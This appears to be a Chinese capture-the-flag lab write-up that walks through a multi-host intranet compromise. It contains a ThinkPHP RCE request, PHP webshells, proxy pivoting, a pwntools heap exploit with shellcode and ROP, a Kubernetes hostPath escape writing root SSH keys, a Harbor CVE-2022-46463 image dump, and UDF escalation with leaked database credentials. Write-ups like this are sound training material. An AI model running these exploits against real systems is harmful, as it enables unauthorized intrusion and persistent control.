24长城杯


24长城杯

39.101.67.119

flag01

┌──(kali㉿kali)-[~/桌面/tools/tools/fscan_all_version]
└─$ ./fscan -h 39.101.67.119

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
39.101.67.119:80 open
Open result.txt error, open result.txt: permission denied
39.101.67.119:22 open
Open result.txt error, open result.txt: permission denied
39.101.67.119:8080 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.101.67.119      code:200 len:10887  title:""
Open result.txt error, open result.txt: permission denied
[*] WebTitle http://39.101.67.119:8080 code:200 len:1027   title:Login Form
Open result.txt error, open result.txt: permission denied
[+] PocScan http://39.101.67.119:8080 poc-yaml-thinkphp5023-method-rce poc1
Open result.txt error, open result.txt: permission denied                                                                                                                           
已完成 2/3 [-] ssh 39.101.67.119:22 root root123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 2/3 [-] ssh 39.101.67.119:22 root a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 2/3 [-] ssh 39.101.67.119:22 root Aa123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 2/3 [-] ssh 39.101.67.119:22 admin pass123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 2/3 [-] ssh 39.101.67.119:22 admin P@ssw0rd! ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 2/3 [-] ssh 39.101.67.119:22 admin 1234567890 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 3/3
[*] 扫描结束,耗时: 7m7.882255629s

先把poc-yaml-thinkphp5023-method-rce poc1弄了

POST /?s=captcha HTTP/1.1
Host: 39.101.67.119:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node.hackhub.get-shell.com:52484/?s=captcha
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Content-Length: 80

_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=cat /f1ag01_UdEv.txt

写个马

echo '<?php eval($_POST[cmd]); ?>' > she.php

flag03

上代理

./linux_x64_admin -c 39.101.67.119:7879 
./linux_x64_agent -l 7879 

扫内网

fconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.28.23.17  netmask 255.255.0.0  broadcast 172.28.255.255
172.28.23.17:80 open
172.28.23.17:8080 open
172.28.23.17:22 open
[*] WebTitle http://172.28.23.17       code:200 len:10887  title:""
[*] WebTitle http://172.28.23.17:8080  code:200 len:1027   title:Login Form
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
172.28.23.26:21 open
172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:80 open
172.28.23.26:22 open
172.28.23.33:22 open
172.28.23.17:80 open
172.28.23.17:22 open
[*] WebTitle http://172.28.23.26       code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle http://172.28.23.17:8080  code:200 len:1027   title:Login Form
[*] WebTitle http://172.28.23.17       code:200 len:10887  title:""
[*] WebTitle http://172.28.23.33:8080  code:302 len:0      title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=B8CDDF596CB271A2BD891E51AF727386
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=B8CDDF596CB271A2BD891E51AF727386 code:200 len:3860   title:智联科技 ERP 后台登陆
[+] ftp 172.28.23.26:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2

Hospital的步骤heapdump+拿shiro

http://172.28.23.33:8080/actuator/heapdump
java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump

CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM(注意), key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

勾选GCM

33(并没有什么作用)

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.28.23.33  netmask 255.255.0.0  broadcast 172.28.255.255
        inet6 fe80::216:3eff:fe05:2c1a  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:05:2c:1a  txqueuelen 1000  (Ethernet)
        RX packets 233917  bytes 251273511 (251.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 76271  bytes 264579870 (264.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.16  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe05:2c1b  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:05:2c:1b  txqueuelen 1000  (Ethernet)
        RX packets 5596  bytes 2725727 (2.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4769  bytes 2335376 (2.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8626  bytes 3298317 (3.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8626  bytes 3298317 (3.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

-----------------------------------------------------------------------

打通后需要用pwn提权

from pwn import *

elf = ELF('./HashNote')
context(arch=elf.arch, os='linux', log_level='debug')
# p = process('./HashNote')

p = remote('172.28.23.33', 59696)

def send_command(command):
    p.sendlineafter(b': ', str(command))

def add_entry(key, value):
    send_command(1)
    p.sendlineafter(b'Key: ', key)
    p.sendlineafter(b'Data: ', value)

def get_entry(key):
    send_command(2)
    p.sendlineafter(b'Key: ', key)

def update_entry(key, value):
    send_command(3)
    p.sendlineafter(b'Key: ', key)
    p.sendlineafter(b'Data: ', value)

def set_username(value):
    send_command(4)
    p.sendafter(b'New username: ', value)

# Authenticate
p.sendlineafter(b'Username: ', b'123')
p.sendlineafter(b'Password: ', b'freep@ssw0rd:3')

# Add entries to setup the environment
add_entry(b'aabP', b'aaaaaaaa')
add_entry(b'aace', b'C' * 0xc0)

# Shellcode to spawn a shell
sc = [
    b'\x6a\x3b',                   # push   0x3b
    b'\x58',                       # pop    rax
    b'\x99',                       # cdq
    b'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # movabs rbx, 0x68732f6e69622f2f
    b'\x53',                       # push   rbx
    b'\x48\x89\xe7',               # mov    rdi, rsp
    b'\x52',                       # push   rdx
    b'\x57',                       # push   rdi
    b'\x48\x89\xe6',               # mov    rsi, rsp
    b'\x0f\x05'                    # syscall
]
shellcode = b''.join(sc)
username_addr = 0x5dc980
fake_obj_addr = username_addr + 0x10

def arbitrary_read(addr):
    payload = p64(fake_obj_addr)
    payload += p64(0xdeadbeef)

    fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
    fake_obj += b'aahO'.ljust(0x10, b'\x00')
    fake_obj += p64(addr) + p64(8) + b'aaaaaaaa'

    payload += fake_obj
    payload += shellcode
    payload = payload.ljust(128, b'\x00')
    set_username(payload)
    get_entry(b'aahO')

def arbitrary_write(addr, data):
    payload = p64(fake_obj_addr)
    payload += p64(0xdeadbeef)

    fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
    fake_obj += b'aahO'.ljust(0x10, b'\x00')
    fake_obj += p64(addr) + p64(len(data)) + b'aaaaaaaa'

    payload += fake_obj
    payload += shellcode
    payload = payload.ljust(128, b'\x00')
    set_username(payload)
    update_entry(b'aahO', data)

# Leak the stack address
environ = 0x5e4c38 
arbitrary_read(environ)
stack_addr = u64((p.recvuntil(b'\x7f', drop=False)[-6:].ljust(8, b'\0')))
success('stack_addr', stack_addr)

# ROP gadgets
rdi = 0x0000000000405e7c
rsi = 0x000000000040974f
rax = 0x00000000004206ba
rdx_rbx = 0x000000000053514b
shr_eax_2 = 0x0000000000523f2e
syscall_ret = 0x00000000004d9776

# ROP payload to map memory and jump to shellcode
payload = p64(rdi) + p64(username_addr & ~0xfff) + p64(rsi) + p64(0x1000) + p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(0xa << 2) + p64(shr_eax_2) + p64(syscall_ret) + p64(username_addr + 0x48)

arbitrary_write(stack_addr - 0x210, payload)
p.sendline(b'uname -ar')

p.interactive()

提权后能拿到本机的flag

cat /root/flag_RaYz1/f* 

flag02

上面知道26有一个新翔OA管理系统,有漏洞直接复现

https://blog.csdn.net/m0_62501867/article/details/142388022

用蚁剑的插件绕过

LD_PRELOAD

imgbase64=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOw==
http://172.28.23.26/uploadbase64.php
{"src":"upload/2025-09-11-68c28ca682098.php"}\

http://172.28.23.26/upload/2025-09-11-68c28ca682098.php
默认生成.antproxy.php,已修改为qq.php
/var/www/html/OAsystem/upload/qq.php
/tmp/.69433ant_x64.so

新建一个 get 型木马 shell.php(post 型在当前环境无法利用成功):

imgbase64=data:image/php;base64,PD9waHAgQGV2YWwoJF9HRVRbJzEnXSk7
{"src":"upload/2025-09-11-68c2994da6a75.php"}

修改 qq.php,使其指向 shell.php

# 将 $url = "/2025-09-11-68c28ca682098.php"; 修改为"upload/2025-09-11-68c2994da6a75.php"(因为用插件时会改变路径,不加upload的话会找不到【不在一个路径下】)

or

PHP7 Backtrace UAF

可以直接返回一个 shell,但这个方式执行命令不是特别稳定。

提权

(www-data:/var/www/html/OAsystem/upload) $ find / -user root -perm -4000 -print 2>/dev/null
/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/staprun
/usr/bin/base32
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep

base32

/usr/bin/base32 /flag02.txt
MZWGCZZQGI5CAZTMMFTXWNJWMQZTONZTGQWTKZRXGMWTINBXMYWWEMLBGUWWCOBTMY2DKNJUHFRD
EOD5BI======

flag02: flag{56d37734-5f73-447f-b1a5-a83f45549b28}

flag04

26

eth0      Link encap:Ethernet  HWaddr 00:16:3e:05:2c:24  
          inet addr:172.28.23.26  Bcast:172.28.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe05:2c24/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:210198 errors:0 dropped:0 overruns:0 frame:0
          TX packets:64384 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:232189119 (232.1 MB)  TX bytes:55952974 (55.9 MB)
eth1      Link encap:Ethernet  HWaddr 00:16:3e:05:2b:f2  
          inet addr:172.22.14.6  Bcast:172.22.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe05:2bf2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:84417 errors:0 dropped:0 overruns:0 frame:0
          TX packets:83290 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11894620 (11.8 MB)  TX bytes:16336530 (16.3 MB)
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:14119 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14119 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:9210359 (9.2 MB)  TX bytes:9210359 (9.2 MB)
172.22.14.46:80 open
172.22.14.37:22 open
172.22.14.46:22 open
172.22.14.6:80 open
172.22.14.6:22 open
172.22.14.37:2379 open
172.22.14.37:10250 open
172.22.14.6:21 open
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] ftp 172.22.14.6:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
在stowawy上
listen
use 0
listen
1
44440

在目标机上./linux_x64_agent -c 172.28.23.17:44440即可

然后
back
use 1

看一下网

172.22.14.37:22 open
172.22.14.37:2380 open
172.22.14.37:2379 open
172.22.14.37:6443 open
172.22.14.37:10252 open
172.22.14.37:10250 open
172.22.14.37:10251 open
172.22.14.37:10256 open
[*] WebTitle http://172.22.14.37:10251 code:404 len:19     title:None
[*] WebTitle http://172.22.14.37:10252 code:404 len:19     title:None
[*] WebTitle https://172.22.14.37:6443 code:200 len:4671   title:None
[*] WebTitle http://172.22.14.37:10256 code:404 len:19     title:None
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] PocScan https://172.22.14.37:6443 poc-yaml-go-pprof-leak 
[+] PocScan https://172.22.14.37:6443 poc-yaml-kubernetes-unauth 

https://l0n9w4y.cc/posts/33009/

存在 Kubernetes API server 未授权:

https://172.22.14.37:6443

在 Linux 系统中安装并设置 kubectl | Kubernetes

ubectl 是go binary,而go binary 自己实现了底层,所以proxychains对他不起作用

具体的打法就是写一个evil-deployment.yaml,然后我们把宿主机/目录挂载到容器内部/mnt目录,接着写公钥就成功逃逸

PS E:\ctf\web\tools> kubectl -s https://172.22.14.37:6443/ get pods(查看 pod(用户名密码输入任意内容即可):)
Please enter Username: xianxinshh
Please enter Password: Unable to connect to the server: tls: failed to verify certificate: x509: certificate signed by unknown authority

列出pod
PS E:\ctf\web\tools> kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods
Please enter Username: xianxinshh
Please enter Password: NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment                    1/1     Running   0          3h31m
nginx-deployment-864f8bfd6f-st7ch   1/1     Running   0          137m

查看 pod 资源:
PS E:\ctf\web\tools> kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ describe pod nginx-deployment-864f8bfd6f-st7ch
Please enter Username: xianxinshh
Please enter Password: Name:             nginx-deployment-864f8bfd6f-st7ch
Namespace:        default
Priority:         0
Service Account:  default
Node:             ubuntu-k8s/172.22.14.37
Start Time:       Thu, 11 Sep 2025 20:56:22 +0800
Labels:           app=nginx
                  pod-template-hash=864f8bfd6f
Annotations:      <none>
Status:           Running
IP:               10.244.0.16
IPs:
  IP:           10.244.0.16
Controlled By:  ReplicaSet/nginx-deployment-864f8bfd6f
Containers:
  nginx:
    Container ID:   docker://8c6689484fece58fe39b9a82f6fa7aecb7fdfb0cd964554e07ae124fd37b249b
    Image:          nginx:1.8(***********||||***********)
    Image ID:       docker-pullable://nginx@sha256:c97ee70c4048fe79765f7c2ec0931957c2898f47400128f4f3640d0ae5d60d10
    Port:           <none>
    Host Port:      <none>
    State:          Running
      Started:      Thu, 11 Sep 2025 20:56:23 +0800
    Ready:          True
    Restart Count:  0
    Environment:    <none>
    Mounts:
      /mnt from test-volume (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-6d2pl (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  test-volume:
    Type:          HostPath (bare host directory volume)
    Path:          /
    HostPathType:
  default-token-6d2pl:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-6d2pl
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:          <none>

同样,用 nginx:1.8 镜像创建名为 nginx-deployment 的 pod,将宿主机的目录挂载到 /mnt 目录。新建 test.yaml 文件,内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: nginx-deployment
spec:
  containers:
  - image: nginx:1.8
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: xianxinshh
  volumes:
  - name: test
    hostPath:
      path: /

创建 pod 并查看运行情况:

kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f test.yaml
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods

写入 SSH 公钥(我们登上的和ssh上的不一样,这次连上的root里没flag,ssh上就能看见)

kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment -- /bin/bash
-----

root@nginx-deployment:/# echo "ssh-rsa YOUR_KEY_HERE" > /mnt/root/.ssh/authorized_keys

先在本地机子创建rsa密钥

ssh-keygen -t rsa -b 4096

img

可以看到我生成的公私钥创建在了/home/fushuling/.ssh/目录下,/home/fushuling/.ssh/id_rsa.pub的内容就是我们要写入的公钥

img

在弹的shell上执行:

cd /root
mkdir .ssh

然后把公钥传进去

echo "公钥内容" >>/root/.ssh/authorized_keys

接下来回到我们本地的机子上,就能用私钥连接上去了

img

当然,我们也可以把id_rsa的内容保存出来用xshell连上去,我后面就这么打的

通过公钥 SSH 连接:

ssh -i id_rsa root@172.22.14.37

当前目录存在 .mysql_history

root@ubuntu-k8s(ssh上有这个k8s):~# cat .mysql_history
_HiStOrY_V2_
show\040databases;
create\040database\040flaghaha;
use\040flaghaha
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag06`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag06`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
show\040tables;
drop\040table\040flag06;
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag04`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag04`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
INSERT\040INTO\040`flag`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
INSERT\040INTO\040`flag04`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
exit

flag{da69c459-7fe5-4535-b8d1-15fff496a29f}

k8s

本质是Kubernetes 容器逃逸攻击的一种典型场景 —— 核心是利用 K8s 权限配置漏洞,让恶意容器获取宿主机的完全访问权,最终通过 “写入 SSH 公钥” 实现对宿主机的长期控制。下面用 “大白话 + 步骤拆解” 讲清楚每一步的逻辑,为什么能成、背后原理是什么:

先明确前提:这种攻击能成功,需要 K8s 集群存在 “权限配置错误”

正常情况下,K8s 容器是 “隔离” 的 —— 容器里的操作只能在自己的 “小环境” 里,不能随便访问宿主机的文件 / 资源。但如果管理员配置失误(比如给容器开了过高权限),就会给攻击者可乘之机。
常见的 “危险配置” 有两种(也是这种攻击的前提):

  1. 容器以privileged: true(特权模式)启动:相当于容器拥有宿主机的 root 权限,能直接操作宿主机内核 / 硬件;
  2. 容器挂载了宿主机的/目录(根目录):把宿主机的所有文件(比如/etc用户配置、/root管理员目录)“映射” 到容器里,容器改挂载目录的文件,就等于改宿主机的文件。

第一步:写 “evil-deployment.yaml”—— 本质是定义一个 “恶意容器” 的启动规则

“deployment.yaml” 是 K8s 里用来定义 “怎么启动容器” 的配置文件(比如启动多少个容器、用什么镜像、给什么权限)。
“evil”(恶意)的核心,就是在配置里加两个 “危险项”:

# evil-deployment.yaml 关键内容(简化版)
apiVersion: apps/v1
kind: Deployment
metadata:
  name: evil-container  # 恶意容器的名字
spec:
  replicas: 1  # 启动1个容器
  template:
    spec:
      containers:
      - name: evil-box
        image: ubuntu:latest  # 用一个常见的Linux镜像(比如Ubuntu)
        # 危险配置1:挂载宿主机的根目录“/”到容器的“/mnt”目录
        volumeMounts:
        - name: host-root  # 挂载卷的名字(自定义)
          mountPath: /mnt  # 容器里的目录(挂载后,访问/mnt就等于访问宿主机/)
        # 危险配置2:开启特权模式(如果没开挂载,特权模式也能间接逃逸)
        securityContext:
          privileged: true
      # 定义要挂载的宿主机目录
      volumes:
      - name: host-root
        hostPath:
          path: /  # 宿主机的根目录(这是关键!把宿主机所有文件映射进去)

为什么要这么写?

  • volumeMounts + hostPath: path: /:相当于把宿主机的 “C 盘”(如果是 Linux 宿主机就是根目录)整个 “复制” 到容器的/mnt目录下。比如在容器里改/mnt/root/.ssh/authorized_keys,就等于改宿主机root用户的 SSH 授权文件。
  • privileged: true:就算挂载有问题,特权容器也能通过修改宿主机内核参数、挂载设备等方式逃逸,相当于给容器 “万能钥匙”。

第二步:部署恶意容器到 K8s 集群,实现 “宿主机目录挂载”

攻击者拿到这个evil-deployment.yaml后,需要执行 K8s 命令,让集群启动这个恶意容器:

# 在K8s集群里执行(需要有创建deployment的权限,比如被劫持的service account权限)
kubectl apply -f evil-deployment.yaml

执行后,K8s 会在某个宿主机上启动这个容器,并且按照配置:

  • 宿主机的/目录 → 挂载到容器的/mnt目录;
  • 容器拥有宿主机的 root 权限(特权模式)。

第三步:进入恶意容器,给宿主机 root 用户 “写 SSH 公钥”—— 实现长期控制

这一步是 “逃逸的核心目标”:既然能访问宿主机的所有文件,那只要给宿主机的root用户(最高权限)添加攻击者的 SSH 公钥,攻击者后续就能直接用 SSH 登录宿主机,不用再依赖 K8s。

具体操作(在容器内部执行):

  1. 生成 SSH 密钥对(如果攻击者本地没有):

    # 容器里执行(其实本地生成好公钥传进来更隐蔽)
    ssh-keygen -t rsa  # 一路按回车,生成私钥id_rsa、公钥id_rsa.pub
  2. 把攻击者的公钥,写入宿主机 root 用户的 SSH 授权文件
    宿主机 root 用户的 SSH 授权文件路径是/root/.ssh/authorized_keys,而容器里访问这个文件的路径是/mnt/root/.ssh/authorized_keys(因为挂载了宿主机 / 到 /mnt)。
    执行命令:

    # 把公钥内容追加到宿主机的authorized_keys里
    cat ~/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys
  3. 验证效果
    攻击者现在可以用自己的 SSH 私钥,直接登录宿主机的 root 用户:

    # 攻击者本地执行(知道宿主机IP即可)
    ssh -i 自己的私钥文件 root@宿主机IP

    因为宿主机 root 的 authorized_keys 里有攻击者的公钥,所以能直接登录 —— 这就实现了 “从 K8s 容器逃逸到宿主机,并且长期控制”。

  4. K8s 的基本概念:不知道 deployment 是 “启动容器的配置”、hostPath 挂载是 “把宿主机目录映射到容器”;

  5. SSH 登录的原理:不知道authorized_keys是 “允许谁登录的白名单”,只要公钥在这个文件里,持有对应私钥的人就能免密码登录。

管理员配置失误(给容器开特权 + 挂载宿主机根目录)→ 攻击者利用配置创建恶意容器 → 容器里访问宿主机文件 → 给宿主机 root 写 SSH 公钥 → 后续 SSH 直接登录宿主机。


flag05

https://github.com/404tk/CVE-2022-46463

存在 Harbor 公开镜像仓库未授权访问 CVE-2022-46463。Linux 环境下运行 harbor.py

┌──(kali㉿kali)-[~/桌面/tools/ma]
└─$ proxychains python3 harbor.py http://172.22.14.46
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
[*] API version used v2.0
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret

下载secret镜像

┌──(kali㉿kali)-[~/桌面/tools/ma]
└─$ proxychains python3 harbor.py http://172.22.14.46 --dump harbor/secret --v2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
[+] Dumping : harbor/secret:latest
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : 58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50
/home/kali/桌面/tools/ma/harbor.py:128: DeprecationWarning: Python 3.14 will, by default, filter extracted tar archives and reject files or modify their metadata. Use the filter argument to control this behavior.
  tf.extractall(f"{CACHE_PATH}{dir}/{name}")
[Errno 1] Operation not permitted
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : 8bd8c9755cbf83773a6a54eff25db438debc22d593699038341b939e73974653

镜像在caches里


flag06

下载projectadmin镜像

proxychains python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2 

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
[+] Dumping : project/projectadmin:latest
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : 63e9bbe323274e77e58d77c6ab6802d247458f784222fbb07a2556d6ec74ee05
/home/kali/桌面/tools/ma/harbor.py:128: DeprecationWarning: Python 3.14 will, by default, filter extracted tar archives and reject files or modify their metadata. Use the filter argument to control this behavior.
  tf.extractall(f"{CACHE_PATH}{dir}/{name}")
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : a1ae0db7d6c6f577c8208ce5b780ad362ef36e69d068616ce9188ac1cc2f80c6
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : 70437571d98143a3479eaf3cc5af696ea79710e815d16e561852cf7d429736bd
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c
[proxychains] Strict chain  ...  127.0.0.1:12345  ...  172.22.14.46:80  ...  OK
    [+] Downloading : 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c

发现运行了 run.sh

┌──(kali㉿kali)-[~/…/ma/caches/project_projectadmin/latest]
└─$ cat 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c/run.sh 
#!/bin/bash
sleep 1

# start
java -jar /app/ProjectAdmin-0.0.1-SNAPSHOT.jar
/usr/bin/tail -f /dev/null           

ProjectAdmin-0.0.1-SNAPSHOT.jar导入IDEA(将jar放进项目下,右键添加为库)

spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3

在 SpringBoot 配置文件 application.properties 中找到数据库账号密码

proxychains python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2 
java -jar Multiple.Database.Utilization.Tools-2.1.1-jar-with-dependencies.jar

然后MDUT直接连,再UDF提权下即可

(不要用MDUT内置的sock,用proxychains/proxifier)
